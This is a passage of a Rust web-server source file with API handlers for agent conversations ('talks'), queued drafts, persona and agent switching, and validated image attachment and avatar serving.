7982                tracing::warn!("talk {id} could not drain queued text: {e:#}");
7983                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7984                turn.take()
7985                    .expect("held for the whole loop until released here")
7986                    .release(&mut live);
7987                break;
7988            }
7989        };
7990        if let Some(started) = started.take() {
7991            let _ = started.send(true);
7992        }
7993        let responded = match turn.as_ref() {
7994            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7995            None => Err(anyhow::anyhow!("the turn guard was released")),
7996        };
7997        if let Err(e) = responded {
7998            tracing::warn!("talk {id} turn failed: {e:#}");
7999        }
8000    }
8001    drop(turn);
8002    if let Some(started) = started {
8003        let _ = started.send(false);
8004    }
8005}
8006
8007/// Clear a queued draft only if it remains exactly the one the caller saw.
8008async fn talk_pending_clear(
8009    State(ui): State<Arc<Ui>>,
8010    Path(id): Path<String>,
8011    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
8012) -> ApiResult<Json<TalkView>> {
8013    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8014    blocking(move || {
8015        let id = resolve_talk(&ui.talks, &id)?;
8016        let mut talk = ui.talks.get(&id)?;
8017        if !talk.status.open() {
8018            return Err(ApiError::conflict(format!(
8019                "talk {} is {} and takes no more turns",
8020                talk.short(),
8021                talk.status.as_str()
8022            )));
8023        }
8024        if !talk::clear_pending_if_matches(
8025            &mut talk,
8026            &ui.talks,
8027            &body.expected_text,
8028            &body.expected_attachments,
8029        )? {
8030            return Err(ApiError::conflict(
8031                "queued message changed; reload it before clearing",
8032            ));
8033        }
8034        let thinking = ui.is_thinking(&talk.id);
8035        Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8036    })
8037    .await
8038}
8039
8040/// Atomically edit a queued draft's text while preserving its attachments.
8041/// The snapshot fields make a concurrent queue or drain a conflict rather
8042/// than silently discarding either message.
8043async fn talk_pending_edit(
8044    State(ui): State<Arc<Ui>>,
8045    Path(id): Path<String>,
8046    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
8047) -> ApiResult<Json<TalkView>> {
8048    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8049    let (view, reclaimed) = blocking({
8050        let ui = Arc::clone(&ui);
8051        move || {
8052            let id = resolve_talk(&ui.talks, &id)?;
8053            let mut talk = ui.talks.get(&id)?;
8054            if !talk.status.open() {
8055                return Err(ApiError::conflict(format!(
8056                    "talk {} is {} and takes no more turns",
8057                    talk.short(),
8058                    talk.status.as_str()
8059                )));
8060            }
8061            if !talk::edit_pending_message(
8062                &mut talk,
8063                &ui.talks,
8064                &body.text,
8065                &body.expected_text,
8066                &body.expected_attachments,
8067                body.message,
8068            )? {
8069                return Err(ApiError::conflict(
8070                    "queued message changed; reload it before editing",
8071                ));
8072            }
8073            let claim = match ui.begin_queued_talk_turn(&id)? {
8074                Some(turn_guard) => {
8075                    let (cfg, _) = Config::discover(&talk.repo, None)?;
8076                    Some((talk.clone(), cfg, id.clone(), turn_guard))
8077                }
8078                None => None,
8079            };
8080            let thinking = ui.is_thinking(&id);
8081            Ok((TalkView::new(talk, thinking, &ui.home), claim))
8082        }
8083    })
8084    .await?;
8085    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
8086        let talks = ui.talks.clone();
8087        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8088    }
8089    Ok(Json(view))
8090}
8091
8092/// The 409 for a talk that takes no more turns.
8093fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
8094    if talk.status.open() {
8095        return Ok(());
8096    }
8097    Err(ApiError::conflict(format!(
8098        "talk {} is {} and takes no more turns",
8099        talk.short(),
8100        talk.status.as_str()
8101    )))
8102}
8103
8104/// The body of `POST /api/talks/{id}/agent`.
8105#[derive(Debug, Deserialize)]
8106struct TalkAgent {
8107    agent: String,
8108}
8109
8110/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
8111/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
8112/// start a turn on the old session between the check and the write; one that
8113/// arrives in that window finds the talk busy and becomes a draft.
8114async fn talk_agent(
8115    State(ui): State<Arc<Ui>>,
8116    Path(id): Path<String>,
8117    Json(body): Json<TalkAgent>,
8118) -> ApiResult<Json<TalkView>> {
8119    let id = {
8120        let ui = Arc::clone(&ui);
8121        blocking(move || resolve_talk(&ui.talks, &id)).await?
8122    };
8123    let repo = {
8124        let ui = Arc::clone(&ui);
8125        let id = id.clone();
8126        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8127    };
8128    let cfg = config_for(&repo).await?;
8129    // Refuse before taking the claim; see `talk_implementers`.
8130    {
8131        let ui = Arc::clone(&ui);
8132        let id = id.clone();
8133        let cfg = cfg.clone();
8134        let wanted = body.agent.clone();
8135        blocking(move || {
8136            agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
8137                .map_err(ApiError::bad_request_from)?;
8138            refuse_if_closed(&ui.talks.get(&id)?)
8139        })
8140        .await?;
8141    }
8142    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8143        return Err(ApiError::conflict(
8144            "a talk turn is running; change the agent once it has answered",
8145        ));
8146    };
8147    let switched = {
8148        let ui = Arc::clone(&ui);
8149        let id = id.clone();
8150        let cfg = cfg.clone();
8151        blocking(move || {
8152            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
8153                .map_err(ApiError::bad_request_from)?;
8154            let mut talk = ui.talks.get(&id)?;
8155            if !talk.status.open() {
8156                return Err(ApiError::conflict(format!(
8157                    "talk {} is {} and takes no more turns",
8158                    talk.short(),
8159                    talk.status.as_str()
8160                )));
8161            }
8162            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
8163            Ok(talk)
8164        })
8165        .await
8166    };
8167    // A `/say` that landed while this held the claim saw the talk busy and
8168    // left a durable draft, trusting the claim's owner to drain it. So the
8169    // claim is settled whatever the outcome. Release an empty draft's claim
8170    // before replying; queued drafts continue independently of the handler.
8171    let observed = ui.queued_generation(&id);
8172    let fresh = {
8173        let ui = Arc::clone(&ui);
8174        let id = id.clone();
8175        blocking(move || Ok(ui.talks.get(&id)?)).await
8176    };
8177    let draining = match fresh {
8178        Ok(talk) => {
8179            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8180        }
8181        Err(_) => false,
8182    };
8183    let talk = switched?;
8184    Ok(Json(TalkView::new(talk, draining, &ui.home)))
8185}
8186
8187/// The body of `POST /api/talks/{id}/persona`.
8188#[derive(Debug, Deserialize)]
8189struct TalkPersona {
8190    persona: String,
8191}
8192
8193/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
8194/// like [`talk_agent`]: the turn guard is held for the change and always handed
8195/// to `drain_loop`, so a draft left meanwhile is not stranded.
8196async fn talk_persona(
8197    State(ui): State<Arc<Ui>>,
8198    Path(id): Path<String>,
8199    Json(body): Json<TalkPersona>,
8200) -> ApiResult<Json<TalkView>> {
8201    let id = {
8202        let ui = Arc::clone(&ui);
8203        blocking(move || resolve_talk(&ui.talks, &id)).await?
8204    };
8205    let repo = {
8206        let ui = Arc::clone(&ui);
8207        let id = id.clone();
8208        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8209    };
8210    let cfg = config_for(&repo).await?;
8211    // Refuse before taking the claim; see `talk_implementers`.
8212    {
8213        let ui = Arc::clone(&ui);
8214        let id = id.clone();
8215        let cfg = cfg.clone();
8216        let wanted = body.persona.clone();
8217        blocking(move || {
8218            if persona::find(&cfg.talk.personas, &wanted).is_none() {
8219                return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
8220            }
8221            refuse_if_closed(&ui.talks.get(&id)?)
8222        })
8223        .await?;
8224    }
8225    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8226        return Err(ApiError::conflict(
8227            "a talk turn is running; change the persona once it has answered",
8228        ));
8229    };
8230    let switched = {
8231        let ui = Arc::clone(&ui);
8232        let id = id.clone();
8233        let cfg = cfg.clone();
8234        blocking(move || {
8235            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
8236                return Err(ApiError::bad_request(format!(
8237                    "unknown persona `{}`",
8238                    body.persona
8239                )));
8240            };
8241            let mut talk = ui.talks.get(&id)?;
8242            if !talk.status.open() {
8243                return Err(ApiError::conflict(format!(
8244                    "talk {} is {} and takes no more turns",
8245                    talk.short(),
8246                    talk.status.as_str()
8247                )));
8248            }
8249            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8250            Ok(talk)
8251        })
8252        .await
8253    };
8254    // As in `talk_agent`: settle the claim before replying, even on refusal.
8255    let observed = ui.queued_generation(&id);
8256    let fresh = {
8257        let ui = Arc::clone(&ui);
8258        let id = id.clone();
8259        blocking(move || Ok(ui.talks.get(&id)?)).await
8260    };
8261    let draining = match fresh {
8262        Ok(talk) => {
8263            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8264        }
8265        Err(_) => false,
8266    };
8267    let talk = switched?;
8268    Ok(Json(TalkView::new(talk, draining, &ui.home)))
8269}
8270
8271/// The body of `POST /api/talks/{id}/implementers`.
8272#[derive(Debug, Deserialize)]
8273struct TalkImplementers {
8274    implementers: u8,
8275}
8276
8277/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
8278/// like [`talk_agent`]: the turn guard is held for the change and always handed
8279/// to `drain_loop`, so a draft left meanwhile is not stranded.
8280async fn talk_implementers(
8281    State(ui): State<Arc<Ui>>,
8282    Path(id): Path<String>,
8283    Json(body): Json<TalkImplementers>,
8284) -> ApiResult<Json<TalkView>> {
8285    let id = {
8286        let ui = Arc::clone(&ui);
8287        blocking(move || resolve_talk(&ui.talks, &id)).await?
8288    };
8289    let repo = {
8290        let ui = Arc::clone(&ui);
8291        let id = id.clone();
8292        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8293    };
8294    let cfg = config_for(&repo).await?;
8295    // Refuse a request that cannot succeed before taking the claim: a claim
8296    // taken for it is handed to `drain_loop`, which holds the talk busy for a
8297    // moment, so a refusal would make the next request see "busy" instead of
8298    // its own answer. The checks after the claim stay the ones that decide.
8299    {
8300        let ui = Arc::clone(&ui);
8301        let id = id.clone();
8302        let cfg = cfg.clone();
8303        let wanted = body.implementers;
8304        blocking(move || {
8305            talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8306            refuse_if_closed(&ui.talks.get(&id)?)
8307        })
8308        .await?;
8309    }
8310    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8311        return Err(ApiError::conflict(
8312            "a talk turn is running; change the implementers once it has answered",
8313        ));
8314    };
8315    let switched = {
8316        let ui = Arc::clone(&ui);
8317        let id = id.clone();
8318        let cfg = cfg.clone();
8319        blocking(move || {
8320            let chosen =
8321                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8322            let mut talk = ui.talks.get(&id)?;
8323            if !talk.status.open() {
8324                return Err(ApiError::conflict(format!(
8325                    "talk {} is {} and takes no more turns",
8326                    talk.short(),
8327                    talk.status.as_str()
8328                )));
8329            }
8330            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8331            Ok(talk)
8332        })
8333        .await
8334    };
8335    // As in `talk_agent`: settle the claim before replying, even on refusal.
8336    let observed = ui.queued_generation(&id);
8337    let fresh = {
8338        let ui = Arc::clone(&ui);
8339        let id = id.clone();
8340        blocking(move || Ok(ui.talks.get(&id)?)).await
8341    };
8342    let draining = match fresh {
8343        Ok(talk) => {
8344            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8345        }
8346        Err(_) => false,
8347    };
8348    let talk = switched?;
8349    Ok(Json(TalkView::new(talk, draining, &ui.home)))
8350}
8351
8352/// `POST /api/talks/{id}/close`.
8353async fn talk_close(
8354    State(ui): State<Arc<Ui>>,
8355    Path(id): Path<String>,
8356) -> ApiResult<Json<TalkView>> {
8357    blocking(move || {
8358        let id = resolve_talk(&ui.talks, &id)?;
8359        let mut talk = ui.talks.get(&id)?;
8360        talk::close(&mut talk, &ui.talks)?;
8361        let thinking = ui.is_thinking(&talk.id);
8362        Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8363    })
8364    .await
8365}
8366
8367/// `POST /api/talks/{id}/reopen`.
8368async fn talk_reopen(
8369    State(ui): State<Arc<Ui>>,
8370    Path(id): Path<String>,
8371) -> ApiResult<Json<TalkView>> {
8372    blocking(move || {
8373        let id = resolve_talk(&ui.talks, &id)?;
8374        let mut talk = ui.talks.get(&id)?;
8375        talk::reopen(&mut talk, &ui.talks)?;
8376        let thinking = ui.is_thinking(&talk.id);
8377        Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8378    })
8379    .await
8380}
8381
8382/// `DELETE /api/talks/{id}`.
8383///
8384/// Removes the conversation's record and artifacts outright, unlike
8385/// [`talk_close`] which keeps the record as history. A turn already in
8386/// flight is not refused here the way [`run_delete`] refuses a live run:
8387/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
8388/// under [`Talks::guard`], that the record they are about to write back is
8389/// still there, so a delete racing a turn is safe without this route having
8390/// to know a turn is running at all.
8391async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8392    blocking(move || {
8393        let id = resolve_talk(&ui.talks, &id)?;
8394        ui.talks.remove(&id)?;
8395        Ok(StatusCode::NO_CONTENT)
8396    })
8397    .await
8398}
8399
8400/// Expand an id or short id to exactly one talk id.
8401fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8402    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8403}
8404
8405/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
8406/// future `talk-say`.
8407async fn talk_attachment_post(
8408    State(ui): State<Arc<Ui>>,
8409    Path(id): Path<String>,
8410    headers: HeaderMap,
8411    body: Bytes,
8412) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8413    let mime = validate_attachment(&headers, &body)?;
8414    let name = filename_header(&headers);
8415    let data = body.to_vec();
8416    blocking(move || {
8417        let id = resolve_talk(&ui.talks, &id)?;
8418        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8419        Ok((StatusCode::CREATED, Json(att)))
8420    })
8421    .await
8422}
8423
8424/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
8425/// `<img>` tag in the transcript.
8426async fn talk_attachment_get(
8427    State(ui): State<Arc<Ui>>,
8428    Path((id, att)): Path<(String, String)>,
8429) -> ApiResult<Response> {
8430    blocking(move || {
8431        let id = resolve_talk(&ui.talks, &id)?;
8432        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8433            return Err(ApiError::not_found(format!(
8434                "talk {id} has no attachment `{att}`"
8435            )));
8436        };
8437        Ok(attachment_response(&meta.mime, data))
8438    })
8439    .await
8440}
8441
8442/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
8443/// the icon setting, so changing it changes the URL.
8444fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
8445    let mut id = String::new();
8446    for b in p.id.bytes() {
8447        if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8448            id.push(char::from(b));
8449        } else {
8450            id.push_str(&format!("%{b:02X}"));
8451        }
8452    }
8453    format!(
8454        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8455        persona_icon::fingerprint(p.icon.as_deref())
8456    )
8457}
8458
8459#[derive(Debug, Default, Deserialize)]
8460struct AvatarQuery {
8461    persona: Option<String>,
8462    /// Set by the page after the first load failed: skip the `icon`.
8463    builtin: Option<String>,
8464}
8465
8466/// Served with every built-in avatar: it is an image, so nothing else may run.
8467const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8468
8469fn builtin_avatar(id: &str) -> Response {
8470    svg_avatar(persona_icon::builtin_svg(id))
8471}
8472
8473async fn operator_avatar() -> Response {
8474    svg_avatar(persona_icon::operator_svg())
8475}
8476
8477fn svg_avatar(svg: &'static str) -> Response {
8478    (
8479        [
8480            (header::CONTENT_TYPE, "image/svg+xml"),
8481            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8482            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8483            (header::CACHE_CONTROL, "no-cache"),
8484        ],
8485        svg,
8486    )
8487        .into_response()
8488}
8489
8490// The global MAGI icon is deliberately independent of repository configuration.
8491fn magi_icon_path(home: &FsPath) -> PathBuf {
8492    home.join("magi-icon.data")
8493}
8494
8495fn read_magi_icon(home: &FsPath) -> Option<String> {
8496    let path = magi_icon_path(home);
8497    let metadata = std::fs::metadata(&path).ok()?;
8498    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
8499        return None;
8500    }
8501    let file = std::fs::File::open(path).ok()?;
8502    use std::io::Read;
8503    let mut text = String::new();
8504    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
8505        .read_to_string(&mut text)
8506        .ok()?;
8507    if text.len() > persona_icon::ICON_MAX_BYTES {
8508        return None;
8509    }
8510    text.starts_with("data:").then_some(text)
8511}
8512
8513fn magi_icon_url(home: &FsPath) -> String {
8514    format!(
8515        "/avatars/magi?v={}",
8516        persona_icon::fingerprint(read_magi_icon(home).as_deref())
8517    )
8518}
8519
8520async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
8521    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
8522}
8523
8524#[derive(Deserialize)]
8525struct MagiIconUpload {
8526    icon: String,
8527}
8528
8529fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
8530    if !icon.starts_with("data:") {
8531        anyhow::bail!("upload a raster image");
8532    }
8533    let (mime, bytes) = persona_icon::load(icon)?;
8534    if sniffed_mime(&bytes) != Some(mime) {
8535        anyhow::bail!("image content does not match its type");
8536    }
8537    std::fs::create_dir_all(home)?;
8538    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
8539    let temp = home.join(format!(".magi-icon-{token}.tmp"));
8540    let result = (|| -> Result<()> {
8541        use std::io::Write;
8542        let mut file = std::fs::OpenOptions::new()
8543            .write(true)
8544            .create_new(true)
8545            .open(&temp)?;
8546        file.write_all(icon.as_bytes())?;
8547        file.sync_all()?;
8548        std::fs::rename(&temp, magi_icon_path(home))?;
8549        Ok(())
8550    })();
8551    let _ = std::fs::remove_file(temp);
8552    result?;
8553    Ok(())
8554}
8555
8556async fn magi_icon_put(
8557    State(ui): State<Arc<Ui>>,
8558    Json(upload): Json<MagiIconUpload>,
8559) -> ApiResult<Json<serde_json::Value>> {
8560    blocking(move || {
8561        if !upload.icon.starts_with("data:") {
8562            return Err(ApiError::bad_request("upload a raster image"));
8563        }
8564        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
8565        if sniffed_mime(&bytes) != Some(mime) {
8566            return Err(ApiError::bad_request(
8567                "image content does not match its type",
8568            ));
8569        }
8570        save_magi_icon(&ui.home, &upload.icon)?;
8571        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8572    })
8573    .await
8574}
8575
8576async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8577    blocking(move || {
8578        match std::fs::remove_file(magi_icon_path(&ui.home)) {
8579            Ok(()) => (),
8580            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
8581            Err(e) => return Err(anyhow::Error::from(e).into()),
8582        }
8583        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
8584    })
8585    .await
8586}
8587
8588async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
8589    let icon = (q.builtin.is_none())
8590        .then(|| read_magi_icon(&ui.home))
8591        .flatten();
8592    let mut response = match icon
8593        .as_deref()
8594        .and_then(|icon| persona_icon::load(icon).ok())
8595    {
8596        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8597            attachment_response(mime, bytes)
8598        }
8599        _ => svg_avatar(persona_icon::magi_svg()),
8600    };
8601    response
8602        .headers_mut()
8603        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
8604    response
8605}
8606
8607/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
8608/// operator's raster `icon` when it resolves and its bytes agree with its
8609/// type, the built-in SVG otherwise. Display only; every failure is a warning
8610/// and the built-in avatar, never an error response.
8611async fn talk_avatar(
8612    State(ui): State<Arc<Ui>>,
8613    Path(id): Path<String>,
8614    Query(q): Query<AvatarQuery>,
8615) -> ApiResult<Response> {
8616    blocking(move || {
8617        let id = resolve_talk(&ui.talks, &id)?;
8618        let talk = ui.talks.get(&id)?;
8619        let wanted = q
8620            .persona
8621            .as_deref()
8622            .map(str::trim)
8623            .filter(|p| !p.is_empty())
8624            .unwrap_or(&talk.persona)
8625            .to_owned();
8626        let specs = match Config::discover(&talk.repo, None) {
8627            Ok((cfg, _)) => cfg.talk.personas,
8628            Err(e) => {
8629                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
8630                Vec::new()
8631            }
8632        };
8633        let Some(found) = persona::find(&specs, &wanted) else {
8634            return Ok(builtin_avatar(persona::DEFAULT_ID));
8635        };
8636        let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
8637            return Ok(builtin_avatar(&found.id));
8638        };
8639        match persona_icon::load(icon) {
8640            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8641                let mut res = attachment_response(mime, bytes);
8642                res.headers_mut().insert(
8643                    header::CACHE_CONTROL,
8644                    header::HeaderValue::from_static("no-cache"),
8645                );
8646                Ok(res)
8647            }
8648            Ok((mime, _)) => {
8649                tracing::warn!(
8650                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
8651                    found.id
8652                );
8653                Ok(builtin_avatar(&found.id))
8654            }
8655            Err(e) => {
8656                tracing::warn!(
8657                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
8658                    found.id
8659                );
8660                Ok(builtin_avatar(&found.id))
8661            }
8662        }
8663    })
8664    .await
8665}
8666
8667/// Validate an attachment upload's declared `Content-Type` and the bytes
8668/// themselves, returning the canonical mime on success.
8669///
8670/// Two checks, both required: the header has to name one of
8671/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
8672/// simply never in the list, active content rather than a picture, the same
8673/// exclusion [`asset_content_type`]'s doc explains), and the file's own
8674/// magic number has to agree. The second is what stops a mislabeled upload -
8675/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
8676/// a declared type is a claim, not a fact, so it is never trusted alone.
8677fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
8678    if data.len() > ATTACHMENT_MAX_BYTES {
8679        return Err(ApiError::bad_request(format!(
8680            "attachment is {} bytes, over the {} MiB limit",
8681            data.len(),
8682            ATTACHMENT_MAX_BYTES / (1024 * 1024)
8683        ))
8684        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
8685    }
8686    if data.is_empty() {
8687        return Err(ApiError::bad_request("attachment is empty"));
8688    }
8689    let declared = declared_mime(headers)?;
8690    match sniffed_mime(data) {
8691        Some(sniffed) if sniffed == declared => Ok(declared),
8692        Some(sniffed) => Err(ApiError::bad_request(format!(
8693            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
8694        ))),
8695        None => Err(ApiError::bad_request(
8696            "the file's bytes do not match any accepted image format",
8697        )),
8698    }
8699}
8700
8701/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
8702/// and nothing else - parameters like `; charset=` are stripped, but the
8703/// value itself is not otherwise interpreted.
8704fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
8705    let raw = headers
8706        .get(header::CONTENT_TYPE)
8707        .and_then(|v| v.to_str().ok())
8708        .unwrap_or("")
8709        .split(';')
8710        .next()
8711        .unwrap_or("")
8712        .trim()
8713        .to_ascii_lowercase();
8714    ATTACHMENT_MIME_WHITELIST
8715        .iter()
8716        .find(|&&m| m == raw)
8717        .copied()
8718        .ok_or_else(|| {
8719            if raw == "image/svg+xml" {
8720                ApiError::bad_request(
8721                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
8722                     not just a picture",
8723                )
8724            } else if raw.is_empty() {
8725                ApiError::bad_request("Content-Type is required for an attachment upload")
8726            } else {
8727                ApiError::bad_request(format!(
8728                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
8729                     image/gif or image/webp"
8730                ))
8731            }
8732        })
8733}
8734
8735/// Identify an image by its magic number, independent of whatever
8736/// `Content-Type` claimed.
8737fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
8738    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
8739        Some("image/png")
8740    } else if data.starts_with(b"\xff\xd8\xff") {
8741        Some("image/jpeg")
8742    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
8743        Some("image/gif")
8744    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
8745        Some("image/webp")
8746    } else {
8747        None
8748    }
8749}
8750
8751/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
8752/// display - see [`talk::Attachment::name`]'s doc on why it never
8753/// contributes to a path. A missing or blank header (curl without it, an
8754/// older front end) falls back to a generic name rather than refusing the
8755/// upload over a field that is cosmetic.
8756fn filename_header(headers: &HeaderMap) -> String {
8757    headers
8758        .get(FILENAME_HEADER)
8759        .and_then(|v| v.to_str().ok())
8760        .map(str::trim)
8761        .filter(|s| !s.is_empty())
8762        .unwrap_or("attachment")
8763        .to_owned()
8764}
8765
8766/// Every attachment `GET` response: the mime re-validated against the same
8767/// closed whitelist the upload route enforces - never the string trusted
8768/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
8769/// cannot decide it knows better than the type we send. Unlike a panel asset
8770/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
8771/// document renders inline, not agent-authored HTML in a sandboxed frame.
8772fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
8773    let content_type = ATTACHMENT_MIME_WHITELIST
8774        .iter()
8775        .find(|&&m| m == mime)
8776        .copied()
8777        .unwrap_or("application/octet-stream");
8778    (
8779        [
8780            (header::CONTENT_TYPE, content_type),
8781            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8782        ],
8783        body,
8784    )
8785        .into_response()
8786}
8787
8788/// The configuration for a repository, read off the disk for this request.
8789///
8790/// Through [`blocking`] because discovery reads and merges several TOML files,
8791/// and because the alternative - caching it in [`Ui`] at startup - would mean
8792/// the operator's phone kept interviewing with a roster they had already
8793/// changed, with no way to reload it but restarting the server they are not
8794/// sitting in front of.
8795async fn config_for(repo: &FsPath) -> ApiResult<Config> {
8796    let repo = repo.to_path_buf();
8797    blocking(move || {
8798        let (cfg, _) = Config::discover(&repo, None)?;
8799        Ok(cfg)
8800    })
8801    .await
8802}
8803
8804/// The one prefix rule, used for both runs and tasks: a leading match for a
8805/// full id, a trailing match for the short form an operator reads off a
8806/// report. Written here rather than borrowed from `queue::resolve_id` because
8807/// the UI needs the two failures as different status codes, and telling them
8808/// apart from an error message is not something to build a route on.
8809fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
8810    let mut hits = ids
8811        .into_iter()
8812        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
8813    match (hits.next(), hits.next()) {
8814        (Some(one), None) => Ok(one),
8815        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
8816        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
8817            "`{prefix}` matches more than one {what}, including {a} and {b}"
8818        ))),
8819    }
8820}
8821
8822#[cfg(test)]
8823mod tests {
8824
8825    #[test]
8826    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
8827        let dir = tempfile::tempdir().unwrap();
8828        let store = ask::Questions::at(dir.path().join("questions"));
8829        let mut q = Question::new(
8830            "task".to_owned(),
8831            "conduct".to_owned(),
8832            "conduct".to_owned(),
8833            "choose".to_owned(),
8834            String::new(),
8835            vec!["keep".to_owned()],
8836        );
8837        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
8838        q.say("why?").unwrap();
8839        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
8840        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8841        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
8842        store.put(&mut q).unwrap();
8843        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8844        assert_eq!(store.count_needs_owner(), 1);
8845        store.beat(&q.id, ask::WaiterKind::Deputy);
8846        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
8847        assert_eq!(store.count_needs_owner(), 0);
8848        let mut stale = store.read_lease(&q.id).unwrap();
8849        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
8850        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
8851        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
8852        assert!(view.deputy_exhausted);
8853        assert!(view.waiting_on_agent);
8854        assert_eq!(view.question.choices, ["keep"]);
8855        store.drop_lease(&q.id);
8856        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
8857        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
8858    }
8859
8860    #[test]
8861    fn holder_reads_the_lease_not_the_record() {
8862        let mut q = Question::new(
8863            "run".to_owned(),
8864            "implement".to_owned(),
8865            "impl-A".to_owned(),
8866            "which?".to_owned(),
8867            String::new(),
8868            Vec::new(),
